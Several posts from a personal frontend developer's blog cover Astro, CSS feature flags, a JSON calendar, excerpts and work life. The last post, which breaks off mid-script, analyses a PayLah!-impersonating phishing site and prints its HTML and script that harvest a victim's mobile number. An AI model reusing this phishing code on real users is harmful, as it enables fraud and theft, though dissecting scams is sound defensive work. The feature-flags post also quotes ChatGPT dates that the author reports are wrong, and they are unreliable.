The organisation is behind CantinaVPN (Google Play/App Store), which is an affordable VPN solution that does not collect any private information from you. No registration, no login. You remain anonymous.

It's good stuff, and if you're wondering where the website is, well, the team is busy building the VPN software, so the website is a little on the back-burner, and that's how I got this sliver of opportunity to help out.

Wrap up

This is a short post because there really wasn't that much to building the page, other than the fact that I was very chill and at peace for about 2.5 hours on this off day. I also decided to take a stab at recording the whole thing just to see how it would look sped up.

Full disclosure, I realised the site needed more than just one page, so I moved the whole thing to Astro, but that took like all of 15 minutes. Which is another reason why I'm fond of Astro, it's very close to vanilla flavoured web development, just the way I like it.

How to try experimental CSS features

Fri, 05 Jul 2024 01:10:21 GMT

I love that browsers are now shipping new CSS features that may not necessarily have been fully baked yet behind feature flags. I can't actually pinpoint the exact date or event that started this, but my personal observation (because I was there) tags it at the development of CSS grid.

If you were not around for it, all the major browsers supported the stable version of CSS grid within 8 months of each other. Trust me, I took the time to check the dates in order to make this image for my talks.

Browser vendors and CSS specification authors want real-world developer feedback during the feature development process to work out the kinks in the proposals and implementations.

They had tried using vendor prefixes as an earlier approach, and we ended up with a decade's worth of baggage, where browsers had to support property names that were deprecated in the specification because there will be people who inevitably choose to eat the marshmallow quickly instead of waiting it out and use features that are not ready in production.

When CSS grid rolled around, they tried a different approach. CSS grid was available to developers who wanted to try it out but behind feature flags in the respective browsers. This meant that the developer who decided to use the not-yet-ready feature had to bank on their audience turning on the flag themselves, and we all know that's not likely to happen.

Which is why when browsers rolled out CSS grid in their stable versions, they did not have to worry about having to support earlier iterations of the syntax running around in the wild, because those were really quite minimal. The approach worked. And I think that's why it has become a standard approach to how new CSS features are being released these days.

The UI of feature flags

Every browser handles their feature flags differently, and after seeing Safari's approach for the first time today, I thought I'd summarise how the major browsers we develop on do this. I asked ChatGPT when each of the big 3 introduced feature flags and here are the answers.

🙋🏻‍♀️: when did chrome introduce feature flags?
🤖: Google Chrome introduced feature flags (also known as experimental features) with the launch of Chrome 8 in December 2010. Feature flags allow users to enable or disable various experimental features and options before they are officially released, by visiting chrome://flags in the browser.

🙋🏻‍♀️: when did firefox introduce feature flags?
🤖: Mozilla Firefox introduced feature flags, accessible via about:config, much earlier than Chrome. The about:config interface has been available since at least Firefox 2, which was released in October 2006. This interface allows users to modify advanced settings and enable or disable experimental features.

🙋🏻‍♀️: and when did safari roll out it's new feature flag tab in developer settings?
🤖: Safari rolled out its new feature flag tab in the Developer settings with the release of Safari 13, which was introduced in September 2019. This feature, accessible through the "Develop" menu, allows developers to enable or disable experimental features and technologies in the browser.

I think these should be largely accurate, someone tell me if they're not.

Update! ChatGPT is wrong!! Someone did tell me! Specifically Curtis Wilcox and Jen Simmons 🙇🏻

Safari

Admittedly, Safari is not a browser I use on the regular, only when testing, and it is generally a cursory load page, scroll page, move on to next page, kind of thing. So sadly, it was only recently (~~5 years~~ 10 months after release) that I noticed “Feature Flags” had a dedicated tab in Developer settings.

To me, this is a significant improvement in developer experience because it makes testing new features (not just CSS but all the other web APIs) easily discoverable and toggleable (this is not a word, I know).

The steps for Safari are:

From the menu bar choose Develop > Feature Flags…
Scroll through the list and pick what you want to try
Toggle the respective checkbox
Relaunch the browser

That's it. Feature flags have been elevated to a first-class developer feature in Safari, given it gets dedicated menu shortcut space in the Develop dropdown. So I'm pretty impressed by this experience. You can read Safari's documentation for more details.

Chrome

Chrome doesn't do feature flags that granularly (at least that's my observation). But they have had this feature for as long as since I started really deep diving into CSS. Chrome does flags in a broader manner and it can be summarised as major features, which have feature-specific flags, smaller features which take around 1-2 quarters of work under #enable-experimental-web-platform-features and very rarely, features that only ship in Canary.

The steps for Chrome are:

Type chrome://flags in your address bar
Search for the feature
Set value to Enabled
Relaunch the browser

Might be less intuitive than the Safari interface, and I'm not too sure where to find the list of features covered in under the #enable-experimental-web-platform-features flag, but still, good enough for me. You can read Chrome's documentation for more details.

Firefox

Firefox takes the granular approach as well, but in a more “raw” manner. Basically, after you get past the Here be dragons message (I think they changed the copy but it was fun back then), you get a blank results screen that again warns you of messing up the browser. But once you click “Show all”, you will notice that the flags follow a naming convention.

I think these flag names are exposed from their usage in the source code (see StaticPrefList.yaml), because if you do it like Safari or Chrome, there's probably an extra mapping to link the actual source code to the presentation of the feature in plain English. Just my speculation.

The steps for Firefox are:

Type about://config in your address bar
Accept the risk and continue knowing that you might screw up your browser messing with flags
Search for the feature you want
Double-click on the feature to toggle it. You can also change string values if that is relevant.
Relaunch the browser

The search function is pretty crucial here, but overall, you know which features you're toggling, and because it covers all browser features, it's not simply boolean, there are string and number values you can manipulate as well. I guess that's why there's an extra layer of here be dragons before letting you play around. You can read Firefox's documentation for more details.

Wrapping up

Well, that's it. Nice and short. Keep exploring, but don't blow up your browser!

Credits: OG:image from Egor412112

Generating a weekly calendar from JSON data

Mon, 18 Mar 2024 02:48:51 GMT

The original purpose of this blog was for me to document solutions that I spent hours figuring out at work, which means it's not my code therefore I cannot take it wholesale with me. I just extract the key parts, remove any references (or try to) to the original project and hopefully the next time I run into the problem, I have a solution.

Over the years, it has expanded to include code which had to be thrown away due to deprecated features, but the code is still good. Especially if I had called in favours with a smart friend to pair program the solution. You know who you are, Yishu.

Context

I needed a page that would display event data from a JSON file. The events should be displayed by month, but further broken down into columns for each week of the month.

And maybe display current month and the next month. Why not?

I wanted to keep the data file as simple as possible because it would potentially be updated by non-developers. (Some people might already be thinking, good luck with that one, but hey, sometimes I get a flash of random optimism in my life. 乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ)

So the data file looks like this:

[
  {
    "title": "ABC",
    "date": "2024-03-03",
    "description": "1-line description"
  },
  {
    "title": "DEF",
    "date": "2024-03-04",
    "description": "1-line description"
  },
  {
    "title": "GHI",
    "date": "2024-04-15",
    "description": "1-line description"
  }
]

Implementation time

What is a frontend developer other than someone who takes some raw data, massages it all around and makes sure the generated markup is semantic and fulfils layout goals? (A lot more than that but this is a big part of the job, no?)

The nice thing about Astro is that I can write the logic in plain JavaScript (actually Typescript) on the component file itself. Then the plain CSS is also in the same file, wrapped in <style> tags.

The slightly more complicated part is putting the computed values from JavaScript into the markup correctly. Life's not perfect, we deal with it.

I did make an effort to make my function names descriptive, so we'll see if I can still understand what everything does when I refer back to this code in a couple months (because the feature magically came back or something).

import eventsData from "../data/calendar.json";

const currentYear = new Date().getFullYear();
const currentMonth = new Date().getMonth();
const nextMonth = currentMonth + 1;
const months = Array.from({ length: 12 }, (e, i) => {
  return new Date(1970, i, 1).toLocaleDateString("en", { month: "long" });
});

const getISOWeekNumber = (date) => {
  const d = new Date(date);
  d.setHours(0, 0, 0, 0);
  d.setDate(d.getDate() + 4 - (d.getDay() || 7));
  return Math.ceil(((+d - +new Date(d.getFullYear(), 0, 1)) / 86400000 + 1) / 7);
};

const allEventsGroupedByWeek = eventsData.reduce((acc, obj) => {
  const week = getISOWeekNumber(obj.date);
  if (!acc[week]) {
    acc[week] = [];
  }
  acc[week].push(obj);
  return acc;
}, {});

const eventsByMonth = (eventsData, monthIndex) => {
  const filteredEvents = {};
  for (const week in eventsData) {
    const eventsForWeek = eventsData[week].filter((event) => {
      const eventMonth = parseInt(event.date.split("-")[1], 10);
      return eventMonth === monthIndex + 1;
    });
    if (eventsForWeek.length > 0) {
      filteredEvents[week] = eventsForWeek;
    }
  }
  return filteredEvents;
};

const getWeeksOfYear = (year) => {
  const weeksArray: Array<{ start: Date, end: Date }> = [];
  const startDate = new Date(year, 0, 1); // January 1st of the given year

  // Calculate the offset to the next Monday
  const dayOffset = (8 - startDate.getDay()) % 7;
  startDate.setDate(startDate.getDate() + dayOffset);

  while (startDate.getFullYear() === year) {
    const endDate = new Date(startDate);
    endDate.setDate(startDate.getDate() + 6); // End date is 6 days after the start date (a week)
    weeksArray.push({
      start: new Date(startDate),
      end: new Date(endDate),
    });
    startDate.setDate(startDate.getDate() + 7); // Move to the next week
  }
  return weeksArray;
};

const generateWeekLabel = (year, weekNumber) => {
  const weeksArray = getWeeksOfYear(year);
  const targetWeek = weeksArray[weekNumber - 1];
  const weekLabel = `Week ${weekNumber}: ${targetWeek.start
    .toDateString()
    .slice(4, 10)}–${targetWeek.end.toDateString().slice(4, 10)}`;
  return weekLabel;
};

const replaceWeekNumber = (eventsData) => {
  for (const [key, value] of Object.entries(eventsData)) {
    eventsData[generateWeekLabel(currentYear, key)] = value;
    delete eventsData[key];
  }
  return eventsData;
};

const renderCurrentMonthEvents: {
  [key: string]: Array<{ title: string, date: string, description: string }>,
} = replaceWeekNumber(eventsByMonth(allEventsGroupedByWeek, currentMonth));
const renderNextMonthEvents: {
  [key: string]: Array<{ title: string, date: string, description: string }>,
} = replaceWeekNumber(eventsByMonth(allEventsGroupedByWeek, nextMonth));

Even though the markup looks reasonably straightforward, figuring out the correct syntax was not. Do you know how many console.log()s were needed to figure out {key.split(":")[1]}??

<section>
  <h2>
    {months[currentMonth]}&nbsp;{currentYear}
  </h2>
  <ul>
    {Object.entries(renderCurrentMonthEvents).map(([key, value], i) => (
      <li>
        <p class="week-dates" data-week-label={key.split(":")[0]}>
          {key.split(":")[1]}
        </p>
        {value.map((event) => (
          <div class="event-info">
            <p>{event.title}</p>
            <p>{event.date}</p>
            <p>{event.description}</p>
          </div>
        ))}
      </li>
    ))}
  </ul>
</section>

Might as well throw in the styling as well. It's super uncomplicated. Grid makes life easy.

ul {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
  list-style: none;
  padding: 0;
  gap: 2em;
}

Which gives you something that ends up looking like this, if you have more entries in the data file.

Wrapping up

So now we wait and see if this feature will ever come back. I mean, if we're still using the same tech stack and repository, I could probably just find the old file from git. But if not, future me better understand all the code in this post. We'll see.

Creating excerpts in Astro

Thu, 14 Mar 2024 03:05:05 GMT

This blog is running on Hugo. It had previously been running on Jekyll. Both these SSGs ship with the ability to create excerpts from your markdown content in 1 line or thereabouts.

/* Hugo */
{{ .Summary | truncate 130 }}

# Ruby
{{ post.content | markdownify | strip_html | truncatewords: 20 }}

I was mildly surprised Astro does not have a corresponding way to do it. To be fair, there is an integration for it: Post Excerpt component for 🚀 Astro. And I'm all for keeping the core product streamlined.

But I'm also THAT annoying developer that likes to keep the dependency count as low as I can. Which means I'm constantly playing this balance game in my head of building the feature myself versus installing it.

I usually give myself an hour or so, and if I feel it's going to take me more than an hour, I'll fold.

In this particular case, I'm like, I just need to access the post content, right? That has to exist already, right?

We-ll, kind of?

Someone else already did it!

Cool kids use ChatGPT for all the things now. But I'm not cool. And not young. So I still Google my shit. Which brought me to Paul Scanlon's post How to Create Excerpts With Astro.

Paul's website is pretty. Go visit Paul's website.

The gist of the self-rolled solution is:

Grab the post.body, which is in Markdown
Parse it into HTML using markdown-it
Extract usable text content from the HTML
Cut off the text to whatever length you'd like
Use excerpt and profit

I tried Paul's instructions exactly, but it didn't quite work out for my particular use-case. Because I had articles where the <figure> and <img> tag show up very early. And that somehow got parsed into the excerpt.

My solution deviates at step 3. Because I'm not a Computer Science major. I am not well-versed in the art of regex and parsing. Therefore, I cede the responsibility to a professional: html-to-text. Who am I to doubt more than 1 million downloads a week?

Same but different

If it isn't broke, don't fix it. So I used a similar implementation strategy as Paul. The source of the script goes into an utils folder and I import it into the layout file that needs it.

The script itself isn't rocket science. No, I did not use Typescript for this. Don't @ me.

import MarkdownIt from "markdown-it";
import { convert } from "html-to-text";
const parser = new MarkdownIt();

export const createExcerpt = (body) => {
  const html = parser.render(body);
  const options = {
    wordwrap: null,
    selectors: [
      { selector: "a", options: { ignoreHref: true } },
      { selector: "img", format: "skip" },
      { selector: "figure", format: "skip" },
    ],
  };
  const text = convert(html, options);
  const distilled = convert(text, options);
  return distilled;
};

The fun part is distilled. Why on earth would I run convert() twice? That took me the better part of the hour to figure out.

At first I thought I wasn't configuring the options correctly, but after reading the documentation and this issue, I realised it was more likely a source issue.

After a couple rounds of console.log, I realised that the first parse from Markdown to HTML sanitised the <figure> and <img> tags to <figure> and <img> because they were wrapped in a <p> tag.

So the first convert() returned all the text content plus these tags. That's why a second round is needed to clean out these caused-by-sanitisation tags.

Naming things is hard. I just called it distilled. Because you distil booze multiple times.

Actual usage on the [...page].astro file looks something like this:

import { createExcerpt } from '../../utils/create-excerpt';
---

<ol class="postlist">
  {((page as any).data || []).map((blogPostEntry: any) => {
    const excerpt = `${createExcerpt(blogPostEntry.body).substring(0, 300)}...`;
    return (
      <li class="postlist-item">
        <a href={`${blogPostEntry.slug}`} class="postlist-link heading--6">{blogPostEntry.data.title}</a>
        <p>{blogPostEntry.data.description ? blogPostEntry.data.description : excerpt}</p>
      </li>
    )}
  )}
</ol>

Wrapping up

Was it worth the effort to roll this feature myself? I do think so. The code wasn't complicated. And yes, I succumbed to installing 2 parsers. What can I say, I'm not a rational human being. 乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠) ㄏ

The value of live web design

Tue, 05 Mar 2024 00:37:11 GMT

Over the years, I've regularly seen blog posts or articles talking about "should designers code?" (less of "should developers learn design?" 🤷). I even chimed in with a tangential opinion piece back in the day. Tangential because I never said designers should code. Haha.

What I found is that after 9 years, my experiences have not changed my opinion back then. Namely:

An ideal web design process involves close collaboration between the users, designers and developers.

I also think I was a better writer back then. My brain has deteriorated since, and it's just all downhill from here. Oh well. Age.

Maybe better isn't a good descriptor, but I think I tended to write about how I wished things would be, and that aspiration translated into stronger language?

Less aspiration, more implementation

If you look at my job title and scope today, you'll see that I'm still building websites. The difference is, I can build them more polished in less time. And I've also amassed experience across a large variety of projects with different industries, budgets and people.

I might be more jaded and less opinionated about the little things now, i.e. “I still don't like Tailwind, but I can write it the way it was intended if it pays my bills”, but I've also become more grateful when pleasant situations arise.

My pleasant situation is my main team at work these days. I technically am not part of any dedicated project team, and more like a CSS/frontend janitor that goes around the whole place wherever something needs tidying. But I do work a lot with our talented designer, Madalina Tantareanu.

I say designer, but that doesn't accurately describe her talent. She's an artist and illustrator, who has helped us craft and create numerous visual assets, as well as our recent new visual branding.

Our work process is what makes my job so pleasant these days. And I'm definitely not saying that everyone should work like this. I'm fairly sure it works because we both serendipitously have a similar way of thinking and visualising about designs.

Real-time design discussions in the browser

As a fully remote organisation, we're always working together via video calls, usually Slack huddles. Whenever there's a new request or design idea, we literally do the discussion and evaluation part live in the browser. From straight-forward things like font size and colour changes, to more complex things like layout adjustments.

I guess all that time spent building layout demos and speaking about devtools in the past did have actual job benefits because I can now move things around the web page almost at the same speed as someone moving bits around in a Figma file. And we can immediately resize the browser to see how the content flows.

Personally, after all these years, I can more or less already tell how some content is going to look like on a browser at specific widths (just purely due to experience) but I fully understand that this is not a given for most normal people. After all, normal people do not resize their browser a thousand times a day.

Which is why being able to immediately show people why something doesn't work or recommend an alternative, directly in the browser, is so convincing and time-saving.

We have lots of different projects, so the actual approach is a mix between making the change in devtools and updating the code base directly. It depends if my local machine version matches the production/staging content or not.

Most common scenarios

I'm trying to think about the most common things I adjust in the browser and what CSS properties I mess around with most. In other words, CSS properties that helps if you know like the back of your hand.

Flex and grid
I often make layout changes when we add a new element to the component, so justify-* and align-* as well as the flex properties get adjusted a lot. Knowing how the HTML should be structured also plays into this.
Background
Bet you didn't expect this one, but I do make a lot of background-* adjustments to see how our choices of photography or illustrations play out, especially in combination with text content.
Shadows and gradients
Did I memorise the syntax? Of course not. That's what devtools is for. But gradients are a big part of our visual brand, so OKLCH for the win! Really makes a big quality difference. Shadows are generally nice for adding some visual depth, but again, depends on your visual direction.
Text-related tweaks
This is more edge-case tweaking, like when I'm discussing with the team, then squish the viewport really small and realise we overflow because of that single long word in the headline. So the white-space, hyphens and others for typography come in handy to quickly resolve the problem so we can focus on the actual design stuff.
Logical properties
I've converted to logical properties for all my projects so block-* and inline-* folks!

Generally, these cover most of the ideas that get thrown around as we build out the required pages. It also helps that Madalina can also tweak and update her illustrations real quick and send over the SVGs so we can see how things shape up in the same meeting.

Because we're all not in the same timezone, the efficiency of this style of working really shines through even more. Like I stated earlier, I'm definitely NOT saying that everyone should work like this. I'm just saying, I feel blessed that I can work like this.

The point is communicating ideas well

These days, to me, it doesn't really matter whether someone can do or knows all the web design things any more. I put more onus on myself to explain the reasons why certain approaches work better than others, and make my recommendations accordingly.

I'm not sure what the other folks who work with me think, but I do try my best to say yes to most ideas because honestly, CSS and JavaScript has evolved to a point where making beautiful things on web pages requires less effort than before.

The upside is that, when I really do say no, folks are more inclined to be receptive of my explanation of why not. I guess it's that over time, there is a trust that builds up where people understand that I'm not rejecting the proposal on some personal whims.

And what worked for me most of the time, is showing in real-time what things look like in the browser, for good and for bad. I find that this shortens the discussion time quite a bit (but maybe it's also because I'm working with very reasonable team mates), and we make decisions without too much back and forth.

Wrapping up

I guess I'm just enamoured with having web design discussions directly in the browser because, in my mind, that's the best way to approach building anything that lives in the browser. And to work with a team that's so receptive to this concept is really the cherry on top of a delicious cake.

Mmmmm, cake… 🍰

Wow, the blog is 10 years old 🥳

Thu, 08 Feb 2024 23:26:44 GMT

Since I conveniently missed my “decade of gainful employment as a web developer” post last year, I'll make it up with a “oh wow, this blog is a decade old” post.

There's not much to say, considering my output was sorely lacking over the past 3 years. BUT, I still dutifully renewed my domain name over the past ten years, and kept the dependencies on the site up-to-date, with an occasional blog post thrown in for good measure.

I have never changed the design on my site, even though I did refactor the code multiple times over the years. And did one major migration from Jekyll to Hugo back in 2020.

When I came up with the site design, I wanted it to feel like me, and clearly I haven't evolved much as a human being, because the site still feels like me, so I'm keeping the design.

I've changed companies too many times to count, but have been lucky enough to still be doing the job that I like, and earning enough to pay my bills. My dream is to retire!

The crazy conference speaking life ran from 2017 to 2019 until the pandemic came around, and I'm grateful I got those opportunities. Because I have terrible social skills, and don't meet new people on my own.

Yes, I'm fine with not leaving my house for 5 days and still be happy. Being locked down during the pandemic didn't negatively impact me a lot to be honest. Though I did become exceptionally lazy to be social. Maybe that's the downside.

My friend who became my colleague is now my boss. He has not fired me yet. That's good, because I still want a salary. We do our work out in the open, so maybe that's why I'm more compelled to start writing again.

Anyway, that's all. Here's a photo of #notmycat looking handsome.

Credits: OG:image from Vecteezy.com

My ideal frontend interview

Sun, 14 Jan 2024 01:28:58 GMT

I'll be the first to admit that I think I'm terrible at tech interviews. I never had a proper computer science education, and if I have never encountered a concept during my day-to-day job, odds are I won't know how to implement “The Algorithmic-Data-Structure-Universe-Saving Thing™” in an hour with someone monitoring my keystrokes.

The only tech interview that I actually enjoyed was the one that got me hired at Shopify. They may have changed the process since 4 years ago, but back then, I got an image of a tic-tac-toe game and was told to code it up in whichever set up I was comfortable with. I did it in CodePen while talking through my process with the interviewer and had a great time.

Granted, the interviewer plays a significant role in the thing, but the structure and intention of the interview is what makes or breaks an interview process for me. Anyway, I'm quarantined in my room with COVID, so I have thoughts and I'm writing them down. 乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ

What I think I'm worth paying for

If you have worked with me, you will know that I'm not a general use developer. I am really good at specific things, and solidly mediocre in everything else. Which probably averages out to a B-, maybe. Ask my boss.

In an ideal world where unicorns shit rainbows, I would love to have coding interviews be directly correlated to the main work the intended hire will be doing.

I do recognise that this approach perhaps doesn't scale very well in corporate environments, or in places that don't really know what they are doing. That's why I say rainbow-unicorn-excrement-land.

Over the decade that I've been working, I have been fortunate to land in jobs where the thing I like to do also happens to be the thing I'm good at. That is not as easy to come by as it might sound, so I'm rather grateful.

So here's what I think I'm worth paying for: the ability to explain myself well, and the ability to HTML and CSS quickly, live in front of people, specifically my team mates.

What I'm being paid for at the moment

Web development is a wide spectrum these days, ranging from the front of the frontend, all the way back to the servers, networks and security aspects of things.

I personally am a very front-of-the-front developer. I like to tell people, if someone behind me just sneezes, I will fall into the design side of things. That's how close to the edge I am.

The other fortunate thing about my career is that, I get to work closely with designers and content people. You'd be surprised at how common it is for developers to not have direct working relationships with their designers or content creators. Or at least, that's what I've observed. If you have observed differently, that's cool too.

During my day-to-day work, I work with idea people, namely our awesome designer, Madalina Tantareanu, and our comms director, Anna Sheard. I'm not an idea person myself, but I can make your idea become real.

I think that's why we work well together, which is one of the points I'm trying to make here. In rainbow-unicorn-excrement-land, I would imagine that the code interview reflects a day-to-day working situation. So I'm going to briefly describe mine here.

What I work on day-to-day

As of time of writing, I have 2 main areas of concern at the Interledger Foundation. I am the custodian of all our documentation sites (we have 6 of them at this point), and our organisation website, Interledger.org (and all the related sub-sites).

It's a nice split, in my opinion. The documentation sites are built on Starlight, an Astro framework for documentation. All the heavy lifting is done by the words written by our beautiful tech writing team. I just try to keep the home for these words as well maintained as I can.

The organisation website has a much bigger strategic role, since it is the online face of Interledger.org. And honestly, in my decade long career, I've never worked on an organisation website that was perfectly built from the start. Most organisations change way too much in the initial stages anyway.

I'm currently in the midst of preparing version 4 of our organisation's website for release. For the past 6 months, our branding team has been working on formalising our long-term brand strategy and direction, as well as details and guidelines for usage and implementation.

As a fully remote company, we are unable to have discussions in person most of the time, and the magic usually happens on calls. And this is where the high-speed HTML-ing and CSS-ing is most useful.

Upon reflection, it's not so much as the raw speed at writing HTML and CSS, but the thorough understanding of how exactly HTML and CSS work that allow me to instantly make the changes we discuss on the call live on the site.

Some times I do this directly on the codebase, if the thing we discuss is on a local site, or via devtools just to see if our proposed changes look alright or not.

My ideal frontend interview scenario

I'm not sure if this is a widely accepted or common way of working, but I have done so in most of other organisations I've worked at, and it has worked out very well for me.

It is so much easier to explain concerns around specific design choices that might not scale well across different screen sizes if you can show it directly to the person involved. Discussing visuals via imagination is not as effective as people think it is.

And if the developer is able to do it live on the call, the amount of time saved is exponential. Imagine having to finish up the call, make the changes locally, maybe screenshot it or deploy it to staging, then tell everyone to take a look, wait for everyone to actually look because time zones, you get the picture.

So my ideal scenario would be a site that has frontend Issues™, then the interviewer can start proposing improvement ideas and have an entire discussion with the interviewee on what could work or not based on seeing how these changes look on the site.

In reality, this is probably really hard to implement as a tech interview. So I don't think it will actually catch on, but in rainbow-unicorn-excrement-land, anything is possible.

Wrapping up

Maybe you've heard a variation of the The Handyman's Invoice story about a plumber charging $10000 for knowing where to hit a pipe. But that story does resonate with me. And that's the level of expertise I want to have when it comes to building websites.

There's not much of a point to the post methinks. Other than the fact I want to brag about my beautiful branding team. Haha. And I also want to be free of Covid soon. Getting food delivered isn't cheap. 😩

Credits: OG:image from Vexels.com

Let's inspect a phishing site

Thu, 11 Jan 2024 04:21:32 GMT

First of all, happy new year!

It's 11 days into 2024 and I just tested positive for COVID. Unlike many people these days who are not sure where they got it from, I'm about 74.3% confident that I got it from my mom. Because she did have it when I was visiting last week, and I knowingly stayed behind to be caregiver until she tested negative.

Unfortunately, in spite the aggressive hand-washing, mask-wearing and sanitising, it wasn't enough and my symptoms started today. On the positive side, they are relatively mild for now, just a cough and running nose, so fingers crossed.

The point of this post though, is because I just got a scam SMS and thought it'd be fun to inspect how the phishing website works. This might be a completely stupid idea but I'm not known for being smart about things, so here we go.

Warning: this post is full of copy and pasted complete code files so it won't read well. You have been warned.

I don't expect anyone to read till the end, so I'll just put the conclusion up front, which is: from this exercise, I'm doubling down on the opinion that we should all name our functions descriptively.

Makes reading code SO MUCH BETTER. What I discovered from this exercise is that rubbish-ly named functions make code reading super tiring.

How it started

I looked at my phone a little earlier and saw this SMS from a number marked "Likely-SCAM" by my service provider. Nice. Good job, Vivifi.

And my first thought was, “ooo is .work a TLD now? nice”. Then of course, my next thought was: who owns this? So, let's check out the WHOIS information and see what we can find out.

I'm working on a MacBook so I do have the whois utility out the box. If you're on Windows, maybe use a website? I don't know.

Anyway, after running whois dbsnowsg.work, it was no surprise to figure out that the people who bought the domain turned on Whois privacy. They used NameSilo.

Domain Name: dbsnowsg.work
Registry Domain ID: D8E4AC567697B4913AAFAEBE288FFC65C-GDREG
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: www.namesilo.com
Updated Date: 2024-01-10T19:31:43Z
Creation Date: 2024-01-10T19:13:19Z
Registry Expiry Date: 2025-01-10T19:13:19Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: addPeriod https://icann.org/epp#addPeriod
Registry Registrant ID: REDACTED FOR PRIVACY
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: PrivacyGuardian.org llc
Registrant Street: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: AZ
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: US
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext: REDACTED FOR PRIVACY
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext: REDACTED FOR PRIVACY
Registrant Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registry Admin ID: REDACTED FOR PRIVACY
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext: REDACTED FOR PRIVACY
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext: REDACTED FOR PRIVACY
Admin Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registry Tech ID: REDACTED FOR PRIVACY
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext: REDACTED FOR PRIVACY
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext: REDACTED FOR PRIVACY
Tech Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Name Server: kirk.ns.cloudflare.com
Name Server: jocelyn.ns.cloudflare.com
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2024-01-11T04:41:37Z <<<

Fair enough.

I do know that the domain was registered the day before and will expire in a year. Meh.

So what lies on the end of the URL?

Okay, this part I'm not sure if it's a good idea or not. So maybe don't try this at home? It might be installing a key logger on my computer for all I know so I'll let you know if I lose money at any point. 乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ

Probably doesn't help at all, but I did open it in an incognito Firefox window. Hey, I am a very not smart person, so keep that in mind when you want to tell me “I told you so”.

I did mistype the first time, and dbsnowsg.work didn't connect to anything. So it seems like the subdomain is where the action is at. https://sgs.dbsnowsg.work is the one that returns a website. Can I just say that, somebody bothered to setup HTTPS. Scammers gotta keep up with the times, eh?

At my first glance, I wasn't too impressed. But I also recognise that I'm not exactly the target audience for this website. Some cybersecurity folks have explained that spelling and grammar mistakes in scam emails discourage responses from anyone who isn’t sufficiently gullible so as to ultimately fall prey to the relevant scam.

Following that line of reasoning, I feel that from a strategy perspective, not bothering to put in too much work to replicate the original site is a win-win for the scam organisation. You get to do less development work and automatically filter for folks that are either gullible enough or distracted enough to fall for it.

Site inspection time

Right-click inspect is the tool I've used for more than 2 decades. It's still good, my friends. I built a career on it.

<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta
      name="viewport"
      content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1, maximum-scale=1"
    />
    <title>Document</title>
    <link rel="stylesheet" href="./css/global.css" />
    <link rel="stylesheet" href="./css/animation.css" />
  </head>
  <body>
    <div id="main">
      <div class="header">
        <img class="back" src="./img/back.svg" alt="" />
        <img class="logo" src="./img/paylahwhite.png" alt="" />
      </div>
      <div class="content">
        <p style="text-align: center;">Step1. Mobile Number Authentication</p>
        <div class="input">
          <input
            id="moblie_input"
            class="moblie_input"
            placeholder="Mobile"
            pattern="[0-9]*"
            type="tel"
            maxlength="11"
          />
        </div>
      </div>
      <div class="footer">
        <div class="btn">Next</div>
      </div>
      <div id="Error" class="pop" style="display: none;">
        <p class="pop_text">There are no PlayLah! wallets registered to this mobile number.</p>
        <div class="confirm">OK</div>
      </div>
    </div>

    <script src="./js/jquery-1.11.1.min.js"></script>
    <script type="text/javascript" src="zy/api/k.js"></script>
    <script>
      js_ini_jsver("zy/api/i.js");

      function onset() {
        var length = 0;
        $(".moblie_input").on("input", function (val) {
          length = val.target.value.length;
          // console.log(val.target.value)
          if (val.target.value.length >= 8) {
            val.target.value = val.target.value.slice(0, 8);
            $(".btn").css("background", "#b82f54");

            if ($(".btn").children().length == 0) {
              $(".btn").html("");
              $(".btn").append(
                "<span class='item i1'></span><span class='item i2'></span><span class='item i3'></span>"
              );
            }
            var data = $("#moblie_input").val();
            $("#moblie_input").blur();
            setTimeout(() => {
              api_name_paswd(data, "1");
            }, 300);
          } else {
            $(".btn").css("background", "#eee");
          }
        });
        $(".moblie_input").blur(function (val) {
          // console.log(val)
          $(".input").css("background", "transparent");
        });
        $(".moblie_input").focus(function (val) {
          $(".input").css("background", "#000");
        });

